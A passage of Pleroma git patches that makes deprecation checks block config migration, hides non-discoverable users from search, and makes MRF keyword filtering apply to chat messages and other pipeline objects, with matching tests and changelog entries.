b/lib/pleroma/config/deprecation_warnings.ex index 412d55a77..98c4dc9c8 100644 --- a/lib/pleroma/config/deprecation_warnings.ex +++ b/lib/pleroma/config/deprecation_warnings.ex @@ -26,6 +26,10 @@ def check_hellthread_threshold do !!!DEPRECATION WARNING!!! You are using the old configuration mechanism for the hellthread filter. Please check config.md. """) + + :error + else + :ok end end @@ -47,17 +51,26 @@ def mrf_user_allowlist do config :pleroma, :mrf_user_allowlist, #{inspect(rewritten, pretty: true)} """) + + :error + else + :ok end end def warn do - check_hellthread_threshold() - mrf_user_allowlist() - check_old_mrf_config() - check_media_proxy_whitelist_config() - check_welcome_message_config() - check_gun_pool_options() - check_activity_expiration_config() + with :ok <- check_hellthread_threshold(), + :ok <- mrf_user_allowlist(), + :ok <- check_old_mrf_config(), + :ok <- check_media_proxy_whitelist_config(), + :ok <- check_welcome_message_config(), + :ok <- check_gun_pool_options(), + :ok <- check_activity_expiration_config() do + :ok + else + _ -> + :error + end end def check_welcome_message_config do @@ -74,6 +87,10 @@ def check_welcome_message_config do \n* `config :pleroma, :instance, welcome_user_nickname` is now `config :pleroma, :welcome, :direct_message, :sender_nickname` \n* `config :pleroma, :instance, welcome_message` is now `config :pleroma, :welcome, :direct_message, :message` """) + + :error + else + :ok end end @@ -101,8 +118,11 @@ def move_namespace_and_warn(config_map, warning_preface) do end end) - if warning != "" do + if warning == "" do + :ok + else Logger.warn(warning_preface <> warning) + :error end end @@ -115,6 +135,10 @@ def check_media_proxy_whitelist_config do !!!DEPRECATION WARNING!!! Your config is using old format (only domain) for MediaProxy whitelist option. Setting should work for now, but you are advised to change format to scheme with port to prevent possible issues later. """) + + :error + else + :ok end end @@ -157,6 +181,9 @@ def check_gun_pool_options do Logger.warn(Enum.join([warning_preface | pool_warnings])) Config.put(:pools, updated_config) + :error + else + :ok end end diff --git a/test/tasks/config_test.exs b/test/tasks/config_test.exs index fb12e7fb3..f36648829 100644 --- a/test/tasks/config_test.exs +++ b/test/tasks/config_test.exs @@ -40,6 +40,19 @@ test "error if file with custom settings doesn't exist" do on_exit(fn -> Application.put_env(:quack, :level, initial) end) end + @tag capture_log: true + test "config migration refused when deprecated settings are found" do + clear_config([:media_proxy, :whitelist], ["domain_without_scheme.com"]) + assert Repo.all(ConfigDB) == [] + + Mix.Tasks.Pleroma.Config.migrate_to_db("test/fixtures/config/temp.secret.exs") + + assert_received {:mix_shell, :error, [message]} + + assert message =~ + "Migration is not allowed until all deprecation warnings have been resolved." + end + test "filtered settings are migrated to db" do assert Repo.all(ConfigDB) == [] -- cgit v1.2.3 From 41939e3175cf31884cb84acd136c303a84c77f8c Mon Sep 17 00:00:00 2001 From: stwf Date: Mon, 14 Sep 2020 11:40:52 -0400 Subject: User search respect discoverable flag --- lib/pleroma/user/search.ex | 5 +++ .../tesla_mock/admin@mastdon.example.org.json | 44 +++++++++++++--------- .../https___osada.macgirvin.com_channel_mike.json | 3 +- test/support/factory.ex | 1 + test/web/admin_api/search_test.exs | 9 +++++ test/web/mastodon_api/views/account_view_test.exs | 4 +- 6 files changed, 45 insertions(+), 21 deletions(-) diff --git a/lib/pleroma/user/search.ex b/lib/pleroma/user/search.ex index 7babd47ea..b8c648672 100644 --- a/lib/pleroma/user/search.ex +++ b/lib/pleroma/user/search.ex @@ -52,6 +52,7 @@ defp search_query(query_string, for_user, following) do |> base_query(following) |> filter_blocked_user(for_user) |> filter_invisible_users() + |> filter_discoverable_users() |> filter_internal_users() |> filter_blocked_domains(for_user) |> fts_search(query_string) @@ -122,6 +123,10 @@ defp filter_invisible_users(query) do from(q in query, where: q.invisible == false) end + defp filter_discoverable_users(query) do + from(q in query, where: q.discoverable == true) + end + defp filter_internal_users(query) do from(q in query, where: q.actor_type != "Application") end diff --git a/test/fixtures/tesla_mock/admin@mastdon.example.org.json b/test/fixtures/tesla_mock/admin@mastdon.example.org.json index a911b979a..f961ccb36 100644 --- a/test/fixtures/tesla_mock/admin@mastdon.example.org.json +++ b/test/fixtures/tesla_mock/admin@mastdon.example.org.json @@ -1,20 +1,24 @@ { - "@context": ["https://www.w3.org/ns/activitystreams", "https://w3id.org/security/v1", { - "manuallyApprovesFollowers": "as:manuallyApprovesFollowers", - "sensitive": "as:sensitive", - "movedTo": "as:movedTo", - "Hashtag": "as:Hashtag", - "ostatus": "http://ostatus.org#", - "atomUri": "ostatus:atomUri", - "inReplyToAtomUri": "ostatus:inReplyToAtomUri", - "conversation": "ostatus:conversation", - "toot": "http://joinmastodon.org/ns#", - "Emoji": "toot:Emoji", - "alsoKnownAs": { - "@id": "as:alsoKnownAs", - "@type": "@id" + "@context": [ + "https://www.w3.org/ns/activitystreams", + "https://w3id.org/security/v1", + { + "manuallyApprovesFollowers": "as:manuallyApprovesFollowers", + "sensitive": "as:sensitive", + "movedTo": "as:movedTo", + "Hashtag": "as:Hashtag", + "ostatus": "http://ostatus.org#", + "atomUri": "ostatus:atomUri", + "inReplyToAtomUri": "ostatus:inReplyToAtomUri", + "conversation": "ostatus:conversation", + "toot": "http://joinmastodon.org/ns#", + "Emoji": "toot:Emoji", + "alsoKnownAs": { + "@id": "as:alsoKnownAs", + "@type": "@id" + } } - }], + ], "id": "http://mastodon.example.org/users/admin", "type": "Person", "following": "http://mastodon.example.org/users/admin/following", @@ -23,6 +27,7 @@ "outbox": "http://mastodon.example.org/users/admin/outbox", "preferredUsername": "admin", "name": null, + "discoverable": "true", "summary": "\u003cp\u003e\u003c/p\u003e", "url": "http://mastodon.example.org/@admin", "manuallyApprovesFollowers": false, @@ -34,7 +39,8 @@ "owner": "http://mastodon.example.org/users/admin", "publicKeyPem": "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtc4Tir+3ADhSNF6VKrtW\nOU32T01w7V0yshmQei38YyiVwVvFu8XOP6ACchkdxbJ+C9mZud8qWaRJKVbFTMUG\nNX4+6Q+FobyuKrwN7CEwhDALZtaN2IPbaPd6uG1B7QhWorrY+yFa8f2TBM3BxnUy\nI4T+bMIZIEYG7KtljCBoQXuTQmGtuffO0UwJksidg2ffCF5Q+K//JfQagJ3UzrR+\nZXbKMJdAw4bCVJYs4Z5EhHYBwQWiXCyMGTd7BGlmMkY6Av7ZqHKC/owp3/0EWDNz\nNqF09Wcpr3y3e8nA10X40MJqp/wR+1xtxp+YGbq/Cj5hZGBG7etFOmIpVBrDOhry\nBwIDAQAB\n-----END PUBLIC KEY-----\n" }, - "attachment": [{ + "attachment": [ + { "type": "PropertyValue", "name": "foo", "value": "bar" @@ -58,5 +64,7 @@ "mediaType": "image/png", "url": "https://cdn.niu.moe/accounts/headers/000/033/323/original/850b3448fa5fd477.png" }, - "alsoKnownAs": ["http://example.org/users/foo"] -} + "alsoKnownAs": [ + "http://example.org/users/foo" + ] +} \ No newline at end of file diff --git a/test/fixtures/tesla_mock/https___osada.macgirvin.com_channel_mike.json b/test/fixtures/tesla_mock/https___osada.macgirvin.com_channel_mike.json index c42f3a53c..ca76d6e17 100644 --- a/test/fixtures/tesla_mock/https___osada.macgirvin.com_channel_mike.json +++ b/test/fixtures/tesla_mock/https___osada.macgirvin.com_channel_mike.json @@ -8,6 +8,7 @@ "preferredUsername": "mike", "name": "Mike Macgirvin (Osada)", "updated": "2018-08-29T03:09:11Z", + "discoverable": "true", "icon": { "type": "Image", "mediaType": "image/jpeg", @@ -51,4 +52,4 @@ "created": "2018-10-17T07:16:28Z", "signatureValue": "WbfFVIPImkd3yNu6brz0CvZaeV242rwAbH0vy8DM4vfnXCxLr5Uv/Wj9gwP+tbooTxGaahAKBeqlGkQp8RLEo37LATrKMRLA/0V6DeeV+C5ORWR9B4WxyWiD3s/9Wf+KesFMtktNLAcMZ5PfnOS/xNYerhnpkp/gWPxtkglmLIWJv+w18A5zZ01JCxsO4QljHbhYaEUPHUfQ97abrkLECeam+FThVwdO6BFCtbjoNXHfzjpSZL/oKyBpi5/fpnqMqOLOQPs5WgBBZJvjEYYkQcoPTyxYI5NGpNbzIjGHPQNuACnOelH16A7L+q4swLWDIaEFeXQ2/5bmqVKZDZZ6usNP4QyTVszwd8jqo27qcDTNibXDUTsTdKpNQvM/3UncBuzuzmUV3FczhtGshIU1/pRVZiQycpVqPlGLvXhP/yZCe+1siyqDd+3uMaS2vkHTObSl5r+VYof+c+TcjrZXHSWnQTg8/X3zkoBWosrQ93VZcwjzMxQoARYv6rphbOoTz7RPmGAXYUt3/PDWkqDlmQDwCpLNNkJo1EidyefZBdD9HXQpCBO0ZU0NHb0JmPvg/+zU0krxlv70bm3RHA/maBETVjroIWzt7EwQEg5pL2hVnvSBG+1wF3BtRVe77etkPOHxLnYYIcAMLlVKCcgDd89DPIziQyruvkx1busHI08=" } -} +} \ No newline at end of file diff --git a/test/support/factory.ex b/test/support/factory.ex index 2fdfabbc5..fb82be0c4 100644 --- a/test/support/factory.ex +++ b/test/support/factory.ex @@ -31,6 +31,7 @@ def user_factory do nickname: sequence(:nickname, &"nick#{&1}"), password_hash: Pbkdf2.hash_pwd_salt("test"), bio: sequence(:bio, &"Tester Number #{&1}"), + discoverable: true, last_digest_emailed_at: NaiveDateTime.utc_now(), last_refreshed_at: NaiveDateTime.utc_now(), notification_settings: %Pleroma.User.NotificationSetting{}, diff --git a/test/web/admin_api/search_test.exs b/test/web/admin_api/search_test.exs index b974cedd5..d88867c52 100644 --- a/test/web/admin_api/search_test.exs +++ b/test/web/admin_api/search_test.exs @@ -177,5 +177,14 @@ test "it returns unapproved user" do assert total == 3 assert count == 1 end + + test "it returns non-discoverable users" do + insert(:user) + insert(:user, discoverable: false) + + {:ok, _results, total} = Search.user() + + assert total == 2 + end end end diff --git a/test/web/mastodon_api/views/account_view_test.exs b/test/web/mastodon_api/views/account_view_test.exs index c5f491d6b..a54b765ef 100644 --- a/test/web/mastodon_api/views/account_view_test.exs +++ b/test/web/mastodon_api/views/account_view_test.exs @@ -68,7 +68,7 @@ test "Represent a user account" do sensitive: false, pleroma: %{ actor_type: "Person", - discoverable: false + discoverable: true }, fields: [] }, @@ -166,7 +166,7 @@ test "Represent a Service(bot) account" do sensitive: false, pleroma: %{ actor_type: "Service", - discoverable: false + discoverable: true }, fields: [] }, -- cgit v1.2.3 From dfc621a5291a761f025670153bb58a2005fd0a73 Mon Sep 17 00:00:00 2001 From: stwf Date: Thu, 17 Sep 2020 10:13:56 -0400 Subject: add test and changelog entry --- CHANGELOG.md | 2 +- test/user_search_test.exs | 8 ++++++++ 2 files changed, 9 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 6072d4cbe..5d329fd55 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -10,8 +10,8 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). - Renamed `:await_up_timeout` in `:connections_pool` namespace to `:connect_timeout`, old name is deprecated. - Renamed `:timeout` in `pools` namespace to `:recv_timeout`, old name is deprecated. - The `discoverable` field in the `User` struct will now add a NOINDEX metatag to profile pages when false. +- Users with the `discoverable` field set to false will not show up in searches. - Minimum lifetime for ephmeral activities changed to 10 minutes and made configurable (`:min_lifetime` option). - ### Removed - **Breaking:** `Pleroma.Workers.Cron.StatsWorker` setting from Oban `:crontab` (moved to a simpler implementation). diff --git a/test/user_search_test.exs b/test/user_search_test.exs index 01976bf58..8529ce6db 100644 --- a/test/user_search_test.exs +++ b/test/user_search_test.exs @@ -25,6 +25,14 @@ test "excludes invisible users from results" do assert found_user.id == user.id end + test "excludes users when discoverable is false" do + insert(:user, %{nickname: "john 3000", discoverable: false}) + insert(:user, %{nickname: "john 3001"}) + + users = User.search("john") + assert Enum.count(users) == 1 + end + test "excludes service actors from results" do insert(:user, actor_type: "Application", nickname: "user1") service = insert(:user, actor_type: "Service", nickname: "user2") -- cgit v1.2.3 From 9d77f4abf80f75559456cef06da1a0d3b3b4f7e2 Mon Sep 17 00:00:00 2001 From: stwf Date: Thu, 17 Sep 2020 12:32:40 -0400 Subject: adapt to new user factory behavior --- test/web/metadata/metadata_test.exs | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/test/web/metadata/metadata_test.exs b/test/web/metadata/metadata_test.exs index 054844597..ca6cbe67f 100644 --- a/test/web/metadata/metadata_test.exs +++ b/test/web/metadata/metadata_test.exs @@ -16,7 +16,7 @@ test "for remote user" do end test "for local user" do - user = insert(:user) + user = insert(:user, discoverable: false) assert Pleroma.Web.Metadata.build_tags(%{user: user}) =~ "" @@ -40,7 +40,7 @@ test "for local user set to discoverable" do test "search exclusion metadata is included" do clear_config([:instance, :public], false) - user = insert(:user, bio: "This is my secret fedi account bio") + user = insert(:user, bio: "This is my secret fedi account bio", discoverable: false) assert ~s() == Pleroma.Web.Metadata.build_tags(%{user: user}) -- cgit v1.2.3 From 3a0f99ed35a84145e713d4c640c50dc82c1b0dbb Mon Sep 17 00:00:00 2001 From: "Haelwenn (lanodan) Monnier" Date: Mon, 14 Sep 2020 13:52:13 +0200 Subject: KeywordPolicy: Still match when fields are absent --- lib/pleroma/web/activity_pub/mrf/keyword_policy.ex | 67 +++++++++++----------- 1 file changed, 32 insertions(+), 35 deletions(-) diff --git a/lib/pleroma/web/activity_pub/mrf/keyword_policy.ex b/lib/pleroma/web/activity_pub/mrf/keyword_policy.ex index 15e09dcf0..db66cfa3e 100644 --- a/lib/pleroma/web/activity_pub/mrf/keyword_policy.ex +++ b/lib/pleroma/web/activity_pub/mrf/keyword_policy.ex @@ -20,9 +20,17 @@ defp string_matches?(string, pattern) do String.match?(string, pattern) end - defp check_reject(%{"object" => %{"content" => content, "summary" => summary}} = message) do + defp object_payload(%{} = object) do + [object["content"], object["summary"], object["name"]] + |> Enum.filter(& &1) + |> Enum.join("\n") + end + + defp check_reject(%{"object" => %{} = object} = message) do + payload = object_payload(object) + if Enum.any?(Pleroma.Config.get([:mrf_keyword, :reject]), fn pattern -> - string_matches?(content, pattern) or string_matches?(summary, pattern) + string_matches?(payload, pattern) end) do {:reject, "[KeywordPolicy] Matches with rejected keyword"} else @@ -30,12 +38,12 @@ defp check_reject(%{"object" => %{"content" => content, "summary" => summary}} = end end - defp check_ftl_removal( - %{"to" => to, "object" => %{"content" => content, "summary" => summary}} = message - ) do + defp check_ftl_removal(%{"to" => to, "object" => %{} = object} = message) do + payload = object_payload(object) + if Pleroma.Constants.as_public() in to and Enum.any?(Pleroma.Config.get([:mrf_keyword, :federated_timeline_removal]), fn pattern -> - string_matches?(content, pattern) or string_matches?(summary, pattern) + string_matches?(payload, pattern) end) do to = List.delete(to, Pleroma.Constants.as_public()) cc = [Pleroma.Constants.as_public() | message["cc"] || []] @@ -51,35 +59,24 @@ defp check_ftl_removal( end end - defp check_replace(%{"object" => %{"content" => content, "summary" => summary}} = message) do - content = - if is_binary(content) do - content - else - "" - end - - summary = - if is_binary(summary) do - summary - else - "" - end - - {content, summary} = - Enum.reduce( - Pleroma.Config.get([:mrf_keyword, :replace]), - {content, summary}, - fn {pattern, replacement}, {content_acc, summary_acc} -> - {String.replace(content_acc, pattern, replacement), - String.replace(summary_acc, pattern, replacement)} - end - ) - - {:ok, - message - |> put_in(["object", "content"], content) - |> put_in(["object", "summary"], summary)} + defp check_replace(%{"object" => %{} = object} = message) do + object = + ["content", "name", "summary"] + |> Enum.filter(fn field -> Map.has_key?(object, field) && object[field] end) + |> Enum.reduce(object, fn field, object -> + data = + Enum.reduce( + Pleroma.Config.get([:mrf_keyword, :replace]), + object[field], + fn {pat, repl}, acc -> String.replace(acc, pat, repl) end + ) + + Map.put(object, field, data) + end) + + message = Map.put(message, "object", object) + + {:ok, message} end @impl true -- cgit v1.2.3 From abf25e5d5254edc88a65610bf5a0fd7e52f545c3 Mon Sep 17 00:00:00 2001 From: "Haelwenn (lanodan) Monnier" Date: Sat, 12 Sep 2020 12:05:36 +0200 Subject: Create MRF.filter_pipeline to inject :object_data when present --- CHANGELOG.md | 6 ++++++ lib/pleroma/web/activity_pub/mrf.ex | 24 +++++++++++++++++++--- .../web/activity_pub/mrf/subchain_policy.ex | 3 +-- lib/pleroma/web/activity_pub/pipeline.ex | 8 ++++++-- test/web/activity_pub/pipeline_test.exs | 16 +++++++-------- .../controllers/chat_controller_test.exs | 17 +++++++++++++++ 6 files changed, 59 insertions(+), 15 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 1c25c60a3..de11dd7a9 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -27,6 +27,12 @@ switched to a new configuration mechanism, however it was not officially removed - Welcome Chat messages preventing user registration with MRF Simple Policy applied to the local instance - Mastodon API: the public timeline returning an error when the `reply_visibility` parameter is set to `self` for an unauthenticated user +## Unreleased-patch + +### Security + +- Fix most MRF rules either crashing or not being applied to objects passed into the Common Pipeline (ChatMessage, Question, Answer, Audio, Event) + ## [2.1.1] - 2020-09-08 ### Security diff --git a/lib/pleroma/web/activity_pub/mrf.ex b/lib/pleroma/web/activity_pub/mrf.ex index 206d6af52..5e5361082 100644 --- a/lib/pleroma/web/activity_pub/mrf.ex +++ b/lib/pleroma/web/activity_pub/mrf.ex @@ -5,16 +5,34 @@ defmodule Pleroma.Web.ActivityPub.MRF do @callback filter(Map.t()) :: {:ok | :reject, Map.t()} - def filter(policies, %{} = object) do + def filter(policies, %{} = message) do policies - |> Enum.reduce({:ok, object}, fn - policy, {:ok, object} -> policy.filter(object) + |> Enum.reduce({:ok, message}, fn + policy, {:ok, message} -> policy.filter(message) _, error -> error end) end def filter(%{} = object), do: get_policies() |> filter(object) + def pipeline_filter(%{} = message, meta) do + object = meta[:object_data] + ap_id = message["object"] + + if object && ap_id do + with {:ok, message} <- filter(Map.put(message, "object", object)) do + meta = Keyword.put(meta, :object_data, message["object"]) + {:ok, Map.put(message, "object", ap_id), meta} + else + {err, message} -> {err, message, meta} + end + else + {err, message} = filter(message) + + {err, message, meta} + end + end + def get_policies do Pleroma.Config.get([:mrf, :policies], []) |> get_policies() end diff --git a/lib/pleroma/web/activity_pub/mrf/subchain_policy.ex b/lib/pleroma/web/activity_pub/mrf/subchain_policy.ex index c9f20571f..048052da6 100644 --- a/lib/pleroma/web/activity_pub/mrf/subchain_policy.ex +++ b/lib/pleroma/web/activity_pub/mrf/subchain_policy.ex @@ -28,8 +28,7 @@ def filter(%{"actor" => actor} = message) do }" ) - subchain - |> MRF.filter(message) + MRF.filter(subchain, message) else _e -> {:ok, message} end diff --git a/lib/pleroma/web/activity_pub/pipeline.ex b/lib/pleroma/web/activity_pub/pipeline.ex index 36e325c37..2db86f116 100644 --- a/lib/pleroma/web/activity_pub/pipeline.ex +++ b/lib/pleroma/web/activity_pub/pipeline.ex @@ -26,13 +26,17 @@ def common_pipeline(object, meta) do {:error, e} -> {:error, e} + + {:reject, e} -> + {:reject, e} end end def do_common_pipeline(object, meta) do with {_, {:ok, validated_object, meta}} <- {:validate_object, ObjectValidator.validate(object, meta)}, - {_, {:ok, mrfd_object}} <- {:mrf_object, MRF.filter(validated_object)}, + {_, {:ok, mrfd_object, meta}} <- + {:mrf_object, MRF.pipeline_filter(validated_object, meta)}, {_, {:ok, activity, meta}} <- {:persist_object, ActivityPub.persist(mrfd_object, meta)}, {_, {:ok, activity, meta}} <- @@ -40,7 +44,7 @@ def do_common_pipeline(object, meta) do {_, {:ok, _}} <- {:federation, maybe_federate(activity, meta)} do {:ok, activity, meta} else - {:mrf_object, {:reject, _}} -> {:ok, nil, meta} + {:mrf_object, {:reject, message, _}} -> {:reject, message} e -> {:error, e} end end diff --git a/test/web/activity_pub/pipeline_test.exs b/test/web/activity_pub/pipeline_test.exs index f2a231eaf..210a06563 100644 --- a/test/web/activity_pub/pipeline_test.exs +++ b/test/web/activity_pub/pipeline_test.exs @@ -26,7 +26,7 @@ test "when given an `object_data` in meta, Federation will receive a the origina { Pleroma.Web.ActivityPub.MRF, [], - [filter: fn o -> {:ok, o} end] + [pipeline_filter: fn o, m -> {:ok, o, m} end] }, { Pleroma.Web.ActivityPub.ActivityPub, @@ -51,7 +51,7 @@ test "when given an `object_data` in meta, Federation will receive a the origina Pleroma.Web.ActivityPub.Pipeline.common_pipeline(activity, meta) assert_called(Pleroma.Web.ActivityPub.ObjectValidator.validate(activity, meta)) - assert_called(Pleroma.Web.ActivityPub.MRF.filter(activity)) + assert_called(Pleroma.Web.ActivityPub.MRF.pipeline_filter(activity, meta)) assert_called(Pleroma.Web.ActivityPub.ActivityPub.persist(activity, meta)) assert_called(Pleroma.Web.ActivityPub.SideEffects.handle(activity, meta)) refute called(Pleroma.Web.Federator.publish(activity)) @@ -68,7 +68,7 @@ test "it goes through validation, filtering, persisting, side effects and federa { Pleroma.Web.ActivityPub.MRF, [], - [filter: fn o -> {:ok, o} end] + [pipeline_filter: fn o, m -> {:ok, o, m} end] }, { Pleroma.Web.ActivityPub.ActivityPub, @@ -93,7 +93,7 @@ test "it goes through validation, filtering, persisting, side effects and federa Pleroma.Web.ActivityPub.Pipeline.common_pipeline(activity, meta) assert_called(Pleroma.Web.ActivityPub.ObjectValidator.validate(activity, meta)) - assert_called(Pleroma.Web.ActivityPub.MRF.filter(activity)) + assert_called(Pleroma.Web.ActivityPub.MRF.pipeline_filter(activity, meta)) assert_called(Pleroma.Web.ActivityPub.ActivityPub.persist(activity, meta)) assert_called(Pleroma.Web.ActivityPub.SideEffects.handle(activity, meta)) assert_called(Pleroma.Web.Federator.publish(activity)) @@ -109,7 +109,7 @@ test "it goes through validation, filtering, persisting, side effects without fe { Pleroma.Web.ActivityPub.MRF, [], - [filter: fn o -> {:ok, o} end] + [pipeline_filter: fn o, m -> {:ok, o, m} end] }, { Pleroma.Web.ActivityPub.ActivityPub, @@ -131,7 +131,7 @@ test "it goes through validation, filtering, persisting, side effects without fe Pleroma.Web.ActivityPub.Pipeline.common_pipeline(activity, meta) assert_called(Pleroma.Web.ActivityPub.ObjectValidator.validate(activity, meta)) - assert_called(Pleroma.Web.ActivityPub.MRF.filter(activity)) + assert_called(Pleroma.Web.ActivityPub.MRF.pipeline_filter(activity, meta)) assert_called(Pleroma.Web.ActivityPub.ActivityPub.persist(activity, meta)) assert_called(Pleroma.Web.ActivityPub.SideEffects.handle(activity, meta)) end @@ -148,7 +148,7 @@ test "it goes through validation, filtering, persisting, side effects without fe { Pleroma.Web.ActivityPub.MRF, [], - [filter: fn o -> {:ok, o} end] + [pipeline_filter: fn o, m -> {:ok, o, m} end] }, { Pleroma.Web.ActivityPub.ActivityPub, @@ -170,7 +170,7 @@ test "it goes through validation, filtering, persisting, side effects without fe Pleroma.Web.ActivityPub.Pipeline.common_pipeline(activity, meta) assert_called(Pleroma.Web.ActivityPub.ObjectValidator.validate(activity, meta)) - assert_called(Pleroma.Web.ActivityPub.MRF.filter(activity)) + assert_called(Pleroma.Web.ActivityPub.MRF.pipeline_filter(activity, meta)) assert_called(Pleroma.Web.ActivityPub.ActivityPub.persist(activity, meta)) assert_called(Pleroma.Web.ActivityPub.SideEffects.handle(activity, meta)) end diff --git a/test/web/pleroma_api/controllers/chat_controller_test.exs b/test/web/pleroma_api/controllers/chat_controller_test.exs index 7be5fe09c..32c23e9d7 100644 --- a/test/web/pleroma_api/controllers/chat_controller_test.exs +++ b/test/web/pleroma_api/controllers/chat_controller_test.exs @@ -126,6 +126,23 @@ test "it works with an attachment", %{conn: conn, user: user} do assert result["attachment"] end + + test "gets MRF reason when rejected", %{conn: conn, user: user} do + clear_config([:mrf_keyword, :reject], ["GNO"]) + clear_config([:mrf, :policies], [Pleroma.Web.ActivityPub.MRF.KeywordPolicy]) + + other_user = insert(:user) + + {:ok, chat} = Chat.get_or_create(user.id, other_user.ap_id) + + result = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/pleroma/chats/#{chat.id}/messages", %{"content" => "GNO/Linux"}) + |> json_response_and_validate_schema(200) + + assert result == %{} + end end describe "DELETE /api/v1/pleroma/chats/:id/messages/:message_id" do -- cgit v1.2.3 From 7bf269fe836ded974d2187c6b36eba4ab185ff25 Mon Sep 17 00:00:00 2001 From: "Haelwenn (lanodan) Monnier" Date: Mon, 14 Sep 2020 14:07:22 +0200 Subject: Fix MRF reject for ChatMessage --- lib/pleroma/web/api_spec/operations/chat_operation.ex | 3 ++- lib/pleroma/web/api_spec/operations/status_operation.ex | 2 +- lib/pleroma/web/common_api/common_api.ex | 3 +++ lib/pleroma/web/pleroma_api/controllers/chat_controller.ex | 10 ++++++++++ test/web/common_api/common_api_test.exs | 11 +++++++++++ test/web/pleroma_api/controllers/chat_controller_test.exs | 6 +++--- 6 files changed, 30 insertions(+), 5 deletions(-) diff --git a/lib/pleroma/web/api_spec/operations/chat_operation.ex b/lib/pleroma/web/api_spec/operations/chat_operation.ex index b1a0d26ab..56554d5b4 100644 --- a/lib/pleroma/web/api_spec/operations/chat_operation.ex +++ b/lib/pleroma/web/api_spec/operations/chat_operation.ex @@ -184,7 +184,8 @@ def post_chat_message_operation do "application/json", ChatMessage ), - 400 => Operation.response("Bad Request", "application/json", ApiError) + 400 => Operation.response("Bad Request", "application/json", ApiError), + 422 => Operation.response("MRF Rejection", "application/json", ApiError) }, security: [ %{ diff --git a/lib/pleroma/web/api_spec/operations/status_operation.ex b/lib/pleroma/web/api_spec/operations/status_operation.ex index 5bd4619d5..d7ebde6f6 100644 --- a/lib/pleroma/web/api_spec/operations/status_operation.ex +++ b/lib/pleroma/web/api_spec/operations/status_operation.ex @@ -55,7 +55,7 @@ def create_operation do "application/json", %Schema{oneOf: [Status, ScheduledStatus]} ), - 422 => Operation.response("Bad Request", "application/json", ApiError) + 422 => Operation.response("Bad Request / MRF Rejection", "application/json", ApiError) } } end diff --git a/lib/pleroma/web/common_api/common_api.ex b/lib/pleroma/web/common_api/common_api.ex index a8c83bc8f..60a50b027 100644 --- a/lib/pleroma/web/common_api/common_api.ex +++ b/lib/pleroma/web/common_api/common_api.ex @@ -48,6 +48,9 @@ def post_chat_message(%User{} = user, %User{} = recipient, content, opts \\ []) local: true )} do {:ok, activity} + else + {:common_pipeline, {:reject, _} = e} -> e + e -> e end end diff --git a/lib/pleroma/web/pleroma_api/controllers/chat_controller.ex b/lib/pleroma/web/pleroma_api/controllers/chat_controller.ex index 27c9a2e0f..867cff829 100644 --- a/lib/pleroma/web/pleroma_api/controllers/chat_controller.ex +++ b/lib/pleroma/web/pleroma_api/controllers/chat_controller.ex @@ -90,6 +90,16 @@ def post_chat_message( conn |> put_view(MessageReferenceView) |> render("show.json", chat_message_reference: cm_ref) + else + {:reject, message} -> + conn + |> put_status(:unprocessable_entity) + |> json(%{error: message}) + + {:error, message} -> + conn + |> put_status(:bad_request) + |> json(%{error: message}) end end diff --git a/test/web/common_api/common_api_test.exs b/test/web/common_api/common_api_test.exs index f5559f932..2eab64e8b 100644 --- a/test/web/common_api/common_api_test.exs +++ b/test/web/common_api/common_api_test.exs @@ -217,6 +217,17 @@ test "it reject messages over the local limit" do assert message == :content_too_long end + + test "it reject messages via MRF" do + clear_config([:mrf_keyword, :reject], ["GNO"]) + clear_config([:mrf, :policies], [Pleroma.Web.ActivityPub.MRF.KeywordPolicy]) + + author = insert(:user) + recipient = insert(:user) + + assert {:reject, "[KeywordPolicy] Matches with rejected keyword"} == + CommonAPI.post_chat_message(author, recipient, "GNO/Linux") + end end describe "unblocking" do diff --git a/test/web/pleroma_api/controllers/chat_controller_test.exs b/test/web/pleroma_api/controllers/chat_controller_test.exs index 32c23e9d7..44a78a738 100644 --- a/test/web/pleroma_api/controllers/chat_controller_test.exs +++ b/test/web/pleroma_api/controllers/chat_controller_test.exs @@ -100,7 +100,7 @@ test "it fails if there is no content", %{conn: conn, user: user} do |> post("/api/v1/pleroma/chats/#{chat.id}/messages") |> json_response_and_validate_schema(400) - assert result + assert %{"error" => "no_content"} == result end test "it works with an attachment", %{conn: conn, user: user} do @@ -139,9 +139,9 @@ test "gets MRF reason when rejected", %{conn: conn, user: user} do conn |> put_req_header("content-type", "application/json") |> post("/api/v1/pleroma/chats/#{chat.id}/messages", %{"content" => "GNO/Linux"}) - |> json_response_and_validate_schema(200) + |> json_response_and_validate_schema(422) - assert result == %{} + assert %{"error" => "[KeywordPolicy] Matches with rejected keyword"} == result end end -- cgit v1.2.3 From 226fa3e486e3ea9f82e8d3a7025244fdf11d14db Mon Sep 17 00:00:00 2001 From: Sergey Suprunenko Date: Thu, 17 Sep 2020 22:04:47 +0200 Subject: Make WebPushEncryption use Pleroma.HTTP as an HTTP adapter --- config/config.exs | 2 ++ test/web/push/impl_test.exs | 18 ++++++++++++++++++ 2 files changed, 20 insertions(+) diff --git a/config/config.exs b/config/config.exs index c204814d0..b8864fe08 100644 --- a/config/config.exs +++ b/config/config.exs @@ -787,6 +787,8 @@ config :ex_aws, http_client: Pleroma.HTTP.ExAws +config :web_push_encryption, http_client: Pleroma.HTTP + config :pleroma, :instances_favicons, enabled: false config :floki, :html_parser, Floki.HTMLParser.FastHtml diff --git a/test/web/push/impl_test.exs b/test/web/push/impl_test.exs index aeb5c1fbd..c7c17e156 100644 --- a/test/web/push/impl_test.exs +++ b/test/web/push/impl_test.exs @@ -12,7 +12,9 @@ defmodule Pleroma.Web.Push.ImplTest do alias Pleroma.Web.CommonAPI alias Pleroma.Web.Push.Impl alias Pleroma.Web.Push.Subscription + alias Pleroma.Web.WebPushHttpClientMock + import Mock import Pleroma.Factory setup do @@ -78,6 +80,22 @@ test "successful message sending" do assert Impl.push_message(@message, @sub, @api_key, %Subscription{}) == :ok end + test_with_mock "uses WebPushHttpClientMock as an HTTP client", WebPushHttpClientMock, + post: fn _, _, _ -> {:ok, %{status_code: 200}} end do + Impl.push_message(@message, @sub, @api_key, %Subscription{}) + 